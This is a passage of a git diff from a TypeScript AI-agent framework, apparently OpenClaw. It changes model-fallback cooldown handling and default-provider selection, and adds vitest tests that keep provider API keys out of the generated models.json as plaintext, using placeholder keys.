agentDir: dir, + }); + + expect(result.result).toBe("sonnet success"); + expect(run).toHaveBeenCalledTimes(1); + expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { + allowTransientCooldownProbe: true, }); }); @@ -1224,7 +1254,7 @@ describe("runWithModelFallback", () => { expect(result.result).toBe("groq success"); expect(run).toHaveBeenCalledTimes(2); expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); // Rate limit allows attempt expect(run).toHaveBeenNthCalledWith(2, "groq", "llama-3.3-70b-versatile"); // Cross-provider works }); diff --git a/src/agents/model-fallback.ts b/src/agents/model-fallback.ts index f1c99d26a70..517c4448a27 100644 --- a/src/agents/model-fallback.ts +++ b/src/agents/model-fallback.ts @@ -34,7 +34,7 @@ type ModelCandidate = { }; export type ModelFallbackRunOptions = { - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }; type ModelFallbackRunFn = ( @@ -428,11 +428,11 @@ function resolveCooldownDecision(params: { } // For primary: try when requested model or when probe allows. - // For same-provider fallbacks: only relax cooldown on rate_limit, which - // is commonly model-scoped and can recover on a sibling model. + // For same-provider fallbacks: only relax cooldown on transient provider + // limits, which are often model-scoped and can recover on a sibling model. const shouldAttemptDespiteCooldown = (params.isPrimary && (!params.requestedModel || shouldProbe)) || - (!params.isPrimary && inferredReason === "rate_limit"); + (!params.isPrimary && (inferredReason === "rate_limit" || inferredReason === "overloaded")); if (!shouldAttemptDespiteCooldown) { return { type: "skip", @@ -514,8 +514,8 @@ export async function runWithModelFallback(params: { if (decision.markProbe) { lastProbeAttempt.set(probeThrottleKey, now); } - if (decision.reason === "rate_limit") { - runOptions = { allowRateLimitCooldownProbe: true }; + if (decision.reason === "rate_limit" || decision.reason === "overloaded") { + runOptions = { allowTransientCooldownProbe: true }; } } } diff --git a/src/agents/model-scan.ts b/src/agents/model-scan.ts index 3fe131d9d3d..a0f05e05475 100644 --- a/src/agents/model-scan.ts +++ b/src/agents/model-scan.ts @@ -262,7 +262,7 @@ async function probeTool( const message = await withTimeout(timeoutMs, (signal) => complete(model, context, { apiKey, - maxTokens: 32, + maxTokens: 256, temperature: 0, toolChoice: "required", signal, diff --git a/src/agents/model-selection.test.ts b/src/agents/model-selection.test.ts index 49937912310..633c76f4d6f 100644 --- a/src/agents/model-selection.test.ts +++ b/src/agents/model-selection.test.ts @@ -481,6 +481,83 @@ describe("model-selection", () => { }); expect(result).toEqual({ provider: "openai", model: "gpt-4" }); }); + + it("should prefer configured custom provider when default provider is not in models.providers", () => { + const cfg: Partial = { + models: { + providers: { + n1n: { + baseUrl: "https://n1n.example.com", + models: [ + { + id: "gpt-5.4", + name: "GPT 5.4", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128000, + maxTokens: 4096, + }, + ], + }, + }, + }, + }; + const result = resolveConfiguredModelRef({ + cfg: cfg as OpenClawConfig, + defaultProvider: "anthropic", + defaultModel: "claude-opus-4-6", + }); + expect(result).toEqual({ provider: "n1n", model: "gpt-5.4" }); + }); + + it("should keep default provider when it is in models.providers", () => { + const cfg: Partial = { + models: { + providers: { + anthropic: { + baseUrl: "https://api.anthropic.com", + models: [ + { + id: "claude-opus-4-6", + name: "Claude Opus 4.6", + reasoning: true, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200000, + maxTokens: 4096, + }, + ], + }, + }, + }, + }; + const result = resolveConfiguredModelRef({ + cfg: cfg as OpenClawConfig, + defaultProvider: "anthropic", + defaultModel: "claude-opus-4-6", + }); + expect(result).toEqual({ provider: "anthropic", model: "claude-opus-4-6" }); + }); + + it("should fall back to hardcoded default when no custom providers have models", () => { + const cfg: Partial = { + models: { + providers: { + "empty-provider": { + baseUrl: "https://example.com", + models: [], + }, + }, + }, + }; + const result = resolveConfiguredModelRef({ + cfg: cfg as OpenClawConfig, + defaultProvider: "anthropic", + defaultModel: "claude-opus-4-6", + }); + expect(result).toEqual({ provider: "anthropic", model: "claude-opus-4-6" }); + }); }); describe("resolveThinkingDefault", () => { diff --git a/src/agents/model-selection.ts b/src/agents/model-selection.ts index 1489c9ee962..3f5ba1bbf37 100644 --- a/src/agents/model-selection.ts +++ b/src/agents/model-selection.ts @@ -317,6 +317,28 @@ export function resolveConfiguredModelRef(params: { return resolved.ref; } } + // Before falling back to the hardcoded default, check if the default provider + // is actually available. If it isn't but other providers are configured, prefer + // the first configured provider's first model to avoid reporting a stale default + // from a removed provider. (See #38880) + const configuredProviders = params.cfg.models?.providers; + if (configuredProviders && typeof configuredProviders === "object") { + const hasDefaultProvider = Boolean(configuredProviders[params.defaultProvider]); + if (!hasDefaultProvider) { + const availableProvider = Object.entries(configuredProviders).find( + ([, providerCfg]) => + providerCfg && + Array.isArray(providerCfg.models) && + providerCfg.models.length > 0 && + providerCfg.models[0]?.id, + ); + if (availableProvider) { + const [providerName, providerCfg] = availableProvider; + const firstModel = providerCfg.models[0]; + return { provider: providerName, model: firstModel.id }; + } + } + } return { provider: params.defaultProvider, model: params.defaultModel }; } diff --git a/src/agents/model-tool-support.test.ts b/src/agents/model-tool-support.test.ts new file mode 100644 index 00000000000..22fa511e892 --- /dev/null +++ b/src/agents/model-tool-support.test.ts @@ -0,0 +1,16 @@ +import { describe, expect, it } from "vitest"; +import { supportsModelTools } from "./model-tool-support.js"; + +describe("supportsModelTools", () => { + it("defaults to true when the model has no compat override", () => { + expect(supportsModelTools({} as never)).toBe(true); + }); + + it("returns true when compat.supportsTools is true", () => { + expect(supportsModelTools({ compat: { supportsTools: true } } as never)).toBe(true); + }); + + it("returns false when compat.supportsTools is false", () => { + expect(supportsModelTools({ compat: { supportsTools: false } } as never)).toBe(false); + }); +}); diff --git a/src/agents/model-tool-support.ts b/src/agents/model-tool-support.ts new file mode 100644 index 00000000000..2b68b6347b3 --- /dev/null +++ b/src/agents/model-tool-support.ts @@ -0,0 +1,7 @@ +export function supportsModelTools(model: { compat?: unknown }): boolean { + const compat = + model.compat && typeof model.compat === "object" + ? (model.compat as { supportsTools?: boolean }) + : undefined; + return compat?.supportsTools !== false; +} diff --git a/src/agents/models-config.file-mode.test.ts b/src/agents/models-config.file-mode.test.ts new file mode 100644 index 00000000000..af5719082da --- /dev/null +++ b/src/agents/models-config.file-mode.test.ts @@ -0,0 +1,43 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { describe, expect, it } from "vitest"; +import { resolveOpenClawAgentDir } from "./agent-paths.js"; +import { + CUSTOM_PROXY_MODELS_CONFIG, + installModelsConfigTestHooks, + withModelsTempHome as withTempHome, +} from "./models-config.e2e-harness.js"; +import { ensureOpenClawModelsJson } from "./models-config.js"; + +installModelsConfigTestHooks(); + +describe("models-config file mode", () => { + it("writes models.json with mode 0600", async () => { + if (process.platform === "win32") { + return; + } + await withTempHome(async () => { + await ensureOpenClawModelsJson(CUSTOM_PROXY_MODELS_CONFIG); + const modelsPath = path.join(resolveOpenClawAgentDir(), "models.json"); + const stat = await fs.stat(modelsPath); + expect(stat.mode & 0o777).toBe(0o600); + }); + }); + + it("repairs models.json mode to 0600 on no-content-change paths", async () => { + if (process.platform === "win32") { + return; + } + await withTempHome(async () => { + await ensureOpenClawModelsJson(CUSTOM_PROXY_MODELS_CONFIG); + const modelsPath = path.join(resolveOpenClawAgentDir(), "models.json"); + await fs.chmod(modelsPath, 0o644); + + const result = await ensureOpenClawModelsJson(CUSTOM_PROXY_MODELS_CONFIG); + expect(result.wrote).toBe(false); + + const stat = await fs.stat(modelsPath); + expect(stat.mode & 0o777).toBe(0o600); + }); + }); +}); diff --git a/src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts b/src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts index bb3ca7a7cbe..0705f597e71 100644 --- a/src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts +++ b/src/agents/models-config.fills-missing-provider-apikey-from-env-var.test.ts @@ -4,6 +4,7 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; import { validateConfigObject } from "../config/validation.js"; import { resolveOpenClawAgentDir } from "./agent-paths.js"; +import { NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; import { CUSTOM_PROXY_MODELS_CONFIG, installModelsConfigTestHooks, @@ -43,7 +44,7 @@ async function writeAgentModelsJson(content: unknown): Promise { function createMergeConfigProvider() { return { baseUrl: "https://config.example/v1", - apiKey: "CONFIG_KEY", + apiKey: "CONFIG_KEY", // pragma: allowlist secret api: "openai-responses" as const, models: [ { @@ -59,18 +60,24 @@ function createMergeConfigProvider() { }; } -async function runCustomProviderMergeTest(seedProvider: { - baseUrl: string; - apiKey: string; - api: string; - models: Array<{ id: string; name: string; input: string[] }>; +async function runCustomProviderMergeTest(params: { + seedProvider: { + baseUrl: string; + apiKey: string; + api: string; + models: Array<{ id: string; name: string; input: string[] }>; + }; + existingProviderKey?: string; + configProviderKey?: string; }) { - await writeAgentModelsJson({ providers: { custom: seedProvider } }); + const existingProviderKey = params.existingProviderKey ?? "custom"; + const configProviderKey = params.configProviderKey ?? "custom"; + await writeAgentModelsJson({ providers: { [existingProviderKey]: params.seedProvider } }); await ensureOpenClawModelsJson({ models: { mode: "merge", providers: { - custom: createMergeConfigProvider(), + [configProviderKey]: createMergeConfigProvider(), }, }, }); @@ -114,7 +121,7 @@ describe("models-config", () => { providers: { anthropic: { baseUrl: "https://relay.example.com/api", - apiKey: "cr_xxxx", + apiKey: "cr_xxxx", // pragma: allowlist secret models: [{ id: "claude-opus-4-6", name: "Claude Opus 4.6" }], }, }, @@ -166,7 +173,7 @@ describe("models-config", () => { const parsed = await readGeneratedModelsJson<{ providers: Record }>; }>(); - expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY"); + expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY"); // pragma: allowlist secret const ids = parsed.providers.minimax?.models?.map((model) => model.id); expect(ids).toContain("MiniMax-VL-01"); }); @@ -178,7 +185,7 @@ describe("models-config", () => { providers: { existing: { baseUrl: "http://localhost:1234/v1", - apiKey: "EXISTING_KEY", + apiKey: "EXISTING_KEY", // pragma: allowlist secret api: "openai-completions", models: [ { @@ -207,26 +214,158 @@ describe("models-config", () => { }); }); - it("preserves non-empty agent apiKey/baseUrl for matching providers in merge mode", async () => { + it("preserves non-empty agent apiKey but lets explicit config baseUrl win in merge mode", async () => { await withTempHome(async () => { const parsed = await runCustomProviderMergeTest({ - baseUrl: "https://agent.example/v1", - apiKey: "AGENT_KEY", - api: "openai-responses", - models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + seedProvider: { + baseUrl: "https://agent.example/v1", + apiKey: "AGENT_KEY", // pragma: allowlist secret + api: "openai-responses", + models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + }, }); expect(parsed.providers.custom?.apiKey).toBe("AGENT_KEY"); - expect(parsed.providers.custom?.baseUrl).toBe("https://agent.example/v1"); + expect(parsed.providers.custom?.baseUrl).toBe("https://config.example/v1"); + }); + }); + + it("lets explicit config baseUrl win in merge mode when the config provider key is normalized", async () => { + await withTempHome(async () => { + const parsed = await runCustomProviderMergeTest({ + seedProvider: { + baseUrl: "https://agent.example/v1", + apiKey: "AGENT_KEY", + api: "openai-responses", + models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + }, + existingProviderKey: "custom", + configProviderKey: " custom ", + }); + expect(parsed.providers.custom?.apiKey).toBe("AGENT_KEY"); + expect(parsed.providers.custom?.baseUrl).toBe("https://config.example/v1"); + }); + }); + + it("replaces stale merged apiKey when provider is SecretRef-managed in current config", async () => { + await withTempHome(async () => { + await writeAgentModelsJson({ + providers: { + custom: { + baseUrl: "https://agent.example/v1", + apiKey: "STALE_AGENT_KEY", // pragma: allowlist secret + api: "openai-responses", + models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + }, + }, + }); + await ensureOpenClawModelsJson({ + models: { + mode: "merge", + providers: { + custom: { + ...createMergeConfigProvider(), + apiKey: { source: "env", provider: "default", id: "CUSTOM_PROVIDER_API_KEY" }, // pragma: allowlist secret + }, + }, + }, + }); + + const parsed = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(parsed.providers.custom?.apiKey).toBe("CUSTOM_PROVIDER_API_KEY"); // pragma: allowlist secret + expect(parsed.providers.custom?.baseUrl).toBe("https://config.example/v1"); + }); + }); + + it("replaces stale merged apiKey when provider is SecretRef-managed via auth-profiles", async () => { + await withTempHome(async () => { + const agentDir = resolveOpenClawAgentDir(); + await fs.mkdir(agentDir, { recursive: true }); + await fs.writeFile( + path.join(agentDir, "auth-profiles.json"), + `${JSON.stringify( + { + version: 1, + profiles: { + "minimax:default": { + type: "api_key", + provider: "minimax", + keyRef: { source: "env", provider: "default", id: "MINIMAX_API_KEY" }, // pragma: allowlist secret + }, + }, + }, + null, + 2, + )}\n`, + "utf8", + ); + await writeAgentModelsJson({ + providers: { + minimax: { + baseUrl: "https://api.minimax.io/anthropic", + apiKey: "STALE_AGENT_KEY", // pragma: allowlist secret + api: "anthropic-messages", + models: [{ id: "MiniMax-M2.5", name: "MiniMax M2.5", input: ["text"] }], + }, + }, + }); + + await ensureOpenClawModelsJson({ + models: { + mode: "merge", + providers: {}, + }, + }); + + const parsed = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(parsed.providers.minimax?.apiKey).toBe("MINIMAX_API_KEY"); // pragma: allowlist secret + }); + }); + + it("replaces stale non-env marker when provider transitions back to plaintext config", async () => { + await withTempHome(async () => { + await writeAgentModelsJson({ + providers: { + custom: { + baseUrl: "https://agent.example/v1", + apiKey: NON_ENV_SECRETREF_MARKER, + api: "openai-responses", + models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + }, + }, + }); + + await ensureOpenClawModelsJson({ + models: { + mode: "merge", + providers: { + custom: { + ...createMergeConfigProvider(), + apiKey: "ALLCAPS_SAMPLE", // pragma: allowlist secret + }, + }, + }, + }); + + const parsed = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(parsed.providers.custom?.apiKey).toBe("ALLCAPS_SAMPLE"); }); }); it("uses config apiKey/baseUrl when existing agent values are empty", async () => { await withTempHome(async () => { const parsed = await runCustomProviderMergeTest({ - baseUrl: "", - apiKey: "", - api: "openai-responses", - models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + seedProvider: { + baseUrl: "", + apiKey: "", + api: "openai-responses", + models: [{ id: "agent-model", name: "Agent model", input: ["text"] }], + }, }); expect(parsed.providers.custom?.apiKey).toBe("CONFIG_KEY"); expect(parsed.providers.custom?.baseUrl).toBe("https://config.example/v1"); @@ -267,6 +406,40 @@ describe("models-config", () => { }); }); + it("does not persist resolved env var value as plaintext in models.json", async () => { + await withEnvVar("OPENAI_API_KEY", "sk-plaintext-should-not-appear", async () => { + await withTempHome(async () => { + const cfg: OpenClawConfig = { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + apiKey: "sk-plaintext-should-not-appear", // already resolved by loadConfig + api: "openai-completions", + models: [ + { + id: "gpt-4.1", + name: "GPT-4.1", + input: ["text"], + reasoning: false, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128000, + maxTokens: 16384, + }, + ], + }, + }, + }, + }; + await ensureOpenClawModelsJson(cfg); + const result = await readGeneratedModelsJson<{ + providers: Record; + }>(); + expect(result.providers.openai?.apiKey).toBe("OPENAI_API_KEY"); + }); + }); + }); + it("preserves explicit larger token limits when they exceed implicit catalog defaults", async () => { await withTempHome(async () => { await withEnvVar("MOONSHOT_API_KEY", "sk-moonshot-test", async () => { diff --git a/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts b/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts index 437b84be3a7..2874209d9c2 100644 --- a/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts +++ b/src/agents/models-config.normalizes-gemini-3-ids-preview-google-providers.test.ts @@ -14,7 +14,7 @@ describe("models-config", () => { providers: { google: { baseUrl: "https://generativelanguage.googleapis.com/v1beta", - apiKey: "GEMINI_KEY", + apiKey: "GEMINI_KEY", // pragma: allowlist secret api: "google-generative-ai", models: [ { diff --git a/src/agents/models-config.providers.auth-provenance.test.ts b/src/agents/models-config.providers.auth-provenance.test.ts new file mode 100644 index 00000000000..0a606762d66 --- /dev/null +++ b/src/agents/models-config.providers.auth-provenance.test.ts @@ -0,0 +1,121 @@ +import { mkdtempSync } from "node:fs"; +import { writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, expect, it } from "vitest"; +import { captureEnv } from "../test-utils/env.js"; +import { + MINIMAX_OAUTH_MARKER, + NON_ENV_SECRETREF_MARKER, + QWEN_OAUTH_MARKER, +} from "./model-auth-markers.js"; +import { resolveImplicitProviders } from "./models-config.providers.js"; + +describe("models-config provider auth provenance", () => { + it("persists env keyRef and tokenRef auth profiles as env var markers", async () => { + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + const envSnapshot = captureEnv(["VOLCANO_ENGINE_API_KEY", "TOGETHER_API_KEY"]); + delete process.env.VOLCANO_ENGINE_API_KEY; + delete process.env.TOGETHER_API_KEY; + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "volcengine:default": { + type: "api_key", + provider: "volcengine", + keyRef: { source: "env", provider: "default", id: "VOLCANO_ENGINE_API_KEY" }, + }, + "together:default": { + type: "token", + provider: "together", + tokenRef: { source: "env", provider: "default", id: "TOGETHER_API_KEY" }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + try { + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.volcengine?.apiKey).toBe("VOLCANO_ENGINE_API_KEY"); + expect(providers?.["volcengine-plan"]?.apiKey).toBe("VOLCANO_ENGINE_API_KEY"); + expect(providers?.together?.apiKey).toBe("TOGETHER_API_KEY"); + } finally { + envSnapshot.restore(); + } + }); + + it("uses non-env marker for ref-managed profiles even when runtime plaintext is present", async () => { + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "byteplus:default": { + type: "api_key", + provider: "byteplus", + key: "sk-runtime-resolved-byteplus", + keyRef: { source: "file", provider: "vault", id: "/byteplus/apiKey" }, + }, + "together:default": { + type: "token", + provider: "together", + token: "tok-runtime-resolved-together", + tokenRef: { source: "exec", provider: "vault", id: "providers/together/token" }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.byteplus?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + expect(providers?.["byteplus-plan"]?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + expect(providers?.together?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + }); + + it("keeps oauth compatibility markers for minimax-portal and qwen-portal", async () => { + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "minimax-portal:default": { + type: "oauth", + provider: "minimax-portal", + access: "access-token", + refresh: "refresh-token", + expires: Date.now() + 60_000, + }, + "qwen-portal:default": { + type: "oauth", + provider: "qwen-portal", + access: "access-token", + refresh: "refresh-token", + expires: Date.now() + 60_000, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.["minimax-portal"]?.apiKey).toBe(MINIMAX_OAUTH_MARKER); + expect(providers?.["qwen-portal"]?.apiKey).toBe(QWEN_OAUTH_MARKER); + }); +}); diff --git a/src/agents/models-config.providers.cloudflare-ai-gateway.test.ts b/src/agents/models-config.providers.cloudflare-ai-gateway.test.ts new file mode 100644 index 00000000000..82a16dbcbee --- /dev/null +++ b/src/agents/models-config.providers.cloudflare-ai-gateway.test.ts @@ -0,0 +1,76 @@ +import { mkdtempSync } from "node:fs"; +import { writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, expect, it } from "vitest"; +import { captureEnv } from "../test-utils/env.js"; +import { NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; +import { resolveImplicitProviders } from "./models-config.providers.js"; + +describe("cloudflare-ai-gateway profile provenance", () => { + it("prefers env keyRef marker over runtime plaintext for persistence", async () => { + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + const envSnapshot = captureEnv(["CLOUDFLARE_AI_GATEWAY_API_KEY"]); + delete process.env.CLOUDFLARE_AI_GATEWAY_API_KEY; + + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "cloudflare-ai-gateway:default": { + type: "api_key", + provider: "cloudflare-ai-gateway", + key: "sk-runtime-cloudflare", + keyRef: { source: "env", provider: "default", id: "CLOUDFLARE_AI_GATEWAY_API_KEY" }, + metadata: { + accountId: "acct_123", + gatewayId: "gateway_456", + }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + try { + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.["cloudflare-ai-gateway"]?.apiKey).toBe("CLOUDFLARE_AI_GATEWAY_API_KEY"); + } finally { + envSnapshot.restore(); + } + }); + + it("uses non-env marker for non-env keyRef cloudflare profiles", async () => { + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "cloudflare-ai-gateway:default": { + type: "api_key", + provider: "cloudflare-ai-gateway", + key: "sk-runtime-cloudflare", + keyRef: { source: "file", provider: "vault", id: "/cloudflare/apiKey" }, + metadata: { + accountId: "acct_123", + gatewayId: "gateway_456", + }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.["cloudflare-ai-gateway"]?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + }); +}); diff --git a/src/agents/models-config.providers.discovery-auth.test.ts b/src/agents/models-config.providers.discovery-auth.test.ts new file mode 100644 index 00000000000..6e8ebfbc0ac --- /dev/null +++ b/src/agents/models-config.providers.discovery-auth.test.ts @@ -0,0 +1,140 @@ +import { mkdtempSync } from "node:fs"; +import { writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; +import { resolveImplicitProviders } from "./models-config.providers.js"; + +describe("provider discovery auth marker guardrails", () => { + let originalVitest: string | undefined; + let originalNodeEnv: string | undefined; + let originalFetch: typeof globalThis.fetch | undefined; + + afterEach(() => { + if (originalVitest !== undefined) { + process.env.VITEST = originalVitest; + } else { + delete process.env.VITEST; + } + if (originalNodeEnv !== undefined) { + process.env.NODE_ENV = originalNodeEnv; + } else { + delete process.env.NODE_ENV; + } + if (originalFetch) { + globalThis.fetch = originalFetch; + } + }); + + function enableDiscovery() { + originalVitest = process.env.VITEST; + originalNodeEnv = process.env.NODE_ENV; + originalFetch = globalThis.fetch; + delete process.env.VITEST; + delete process.env.NODE_ENV; + } + + it("does not send marker value as vLLM bearer token during discovery", async () => { + enableDiscovery(); + const fetchMock = vi.fn().mockResolvedValue({ + ok: true, + json: async () => ({ data: [] }), + }); + globalThis.fetch = fetchMock as unknown as typeof fetch; + + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "vllm:default": { + type: "api_key", + provider: "vllm", + keyRef: { source: "file", provider: "vault", id: "/vllm/apiKey" }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.vllm?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + const request = fetchMock.mock.calls[0]?.[1] as + | { headers?: Record } + | undefined; + expect(request?.headers?.Authorization).toBeUndefined(); + }); + + it("does not call Hugging Face discovery with marker-backed credentials", async () => { + enableDiscovery(); + const fetchMock = vi.fn(); + globalThis.fetch = fetchMock as unknown as typeof fetch; + + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "huggingface:default": { + type: "api_key", + provider: "huggingface", + keyRef: { source: "exec", provider: "vault", id: "providers/hf/token" }, + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + const providers = await resolveImplicitProviders({ agentDir }); + expect(providers?.huggingface?.apiKey).toBe(NON_ENV_SECRETREF_MARKER); + const huggingfaceCalls = fetchMock.mock.calls.filter(([url]) => + String(url).includes("router.huggingface.co"), + ); + expect(huggingfaceCalls).toHaveLength(0); + }); + + it("keeps all-caps plaintext API keys for authenticated discovery", async () => { + enableDiscovery(); + const fetchMock = vi.fn().mockResolvedValue({ + ok: true, + json: async () => ({ data: [{ id: "vllm/test-model" }] }), + }); + globalThis.fetch = fetchMock as unknown as typeof fetch; + + const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); + await writeFile( + join(agentDir, "auth-profiles.json"), + JSON.stringify( + { + version: 1, + profiles: { + "vllm:default": { + type: "api_key", + provider: "vllm", + key: "ALLCAPS_SAMPLE", + }, + }, + }, + null, + 2, + ), + "utf8", + ); + + await resolveImplicitProviders({ agentDir }); + const vllmCall = fetchMock.mock.calls.find(([url]) => String(url).includes(":8000")); + const request = vllmCall?.[1] as { headers?: Record } | undefined; + expect(request?.headers?.Authorization).toBe("Bearer ALLCAPS_SAMPLE"); + }); +}); diff --git a/src/agents/models-config.providers.google-antigravity.test.ts b/src/agents/models-config.providers.google-antigravity.test.ts index 51fe5fb32e0..6879a392277 100644 --- a/src/agents/models-config.providers.google-antigravity.test.ts +++ b/src/agents/models-config.providers.google-antigravity.test.ts @@ -24,7 +24,7 @@ function buildProvider(modelIds: string[]): ProviderConfig { return { baseUrl: "https://example.invalid/v1", api: "openai-completions", - apiKey: "EXAMPLE_KEY", + apiKey: "EXAMPLE_KEY", // pragma: allowlist secret models: modelIds.map((id) => buildModel(id)), }; } diff --git a/src/agents/models-config.providers.kilocode.test.ts b/src/agents/models-config.providers.kilocode.test.ts index 05cfb1b468c..ce57ab561be 100644 --- a/src/agents/models-config.providers.kilocode.test.ts +++ b/src/agents/models-config.providers.kilocode.test.ts @@ -5,23 +5,13 @@ import { describe, expect, it } from "vitest"; import { captureEnv } from "../test-utils/env.js"; import { buildKilocodeProvider, resolveImplicitProviders } from "./models-config.providers.js"; -const KILOCODE_MODEL_IDS = [ - "anthropic/claude-opus-4.6", - "z-ai/glm-5:free", - "minimax/minimax-m2.5:free", - "anthropic/claude-sonnet-4.5", - "openai/gpt-5.2", - "google/gemini-3-pro-preview", - "google/gemini-3-flash-preview", - "x-ai/grok-code-fast-1", - "moonshotai/kimi-k2.5", -]; +const KILOCODE_MODEL_IDS = ["kilo/auto"]; describe("Kilo Gateway implicit provider", () => { it("should include kilocode when KILOCODE_API_KEY is configured", async () => { const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); const envSnapshot = captureEnv(["KILOCODE_API_KEY"]); - process.env.KILOCODE_API_KEY = "test-key"; + process.env.KILOCODE_API_KEY = "test-key"; // pragma: allowlist secret try { const providers = await resolveImplicitProviders({ agentDir }); @@ -56,14 +46,15 @@ describe("Kilo Gateway implicit provider", () => { it("should include the default kilocode model", () => { const provider = buildKilocodeProvider(); const modelIds = provider.models.map((m) => m.id); - expect(modelIds).toContain("anthropic/claude-opus-4.6"); + expect(modelIds).toContain("kilo/auto"); }); - it("should include the full surfaced model catalog", () => { + it("should include the static fallback catalog", () => { const provider = buildKilocodeProvider(); const modelIds = provider.models.map((m) => m.id); for (const modelId of KILOCODE_MODEL_IDS) { expect(modelIds).toContain(modelId); } + expect(provider.models).toHaveLength(KILOCODE_MODEL_IDS.length); }); }); diff --git a/src/agents/models-config.providers.kimi-coding.test.ts b/src/agents/models-config.providers.kimi-coding.test.ts index ff0c010489b..bc49115cb40 100644 --- a/src/agents/models-config.providers.kimi-coding.test.ts +++ b/src/agents/models-config.providers.kimi-coding.test.ts @@ -9,7 +9,7 @@ describe("kimi-coding implicit provider (#22409)", () => { it("should include kimi-coding when KIMI_API_KEY is configured", async () => { const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); const envSnapshot = captureEnv(["KIMI_API_KEY"]); - process.env.KIMI_API_KEY = "test-key"; + process.env.KIMI_API_KEY = "test-key"; // pragma: allowlist secret try { const providers = await resolveImplicitProviders({ agentDir }); diff --git a/src/agents/models-config.providers.normalize-keys.test.ts b/src/agents/models-config.providers.normalize-keys.test.ts index cccd54851d8..f529ee610bf 100644 --- a/src/agents/models-config.providers.normalize-keys.test.ts +++ b/src/agents/models-config.providers.normalize-keys.test.ts @@ -3,6 +3,7 @@ import os from "node:os"; import path from "node:path"; import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; +import { NON_ENV_SECRETREF_MARKER } from "./model-auth-markers.js"; import { normalizeProviders } from "./models-config.providers.js"; describe("normalizeProviders", () => { @@ -13,7 +14,7 @@ describe("normalizeProviders", () => { " dashscope-vision ": { baseUrl: "https://dashscope.aliyuncs.com/compatible-mode/v1", api: "openai-completions", - apiKey: "DASHSCOPE_API_KEY", + apiKey: "DASHSCOPE_API_KEY", // pragma: allowlist secret models: [ { id: "qwen-vl-max", @@ -43,13 +44,13 @@ 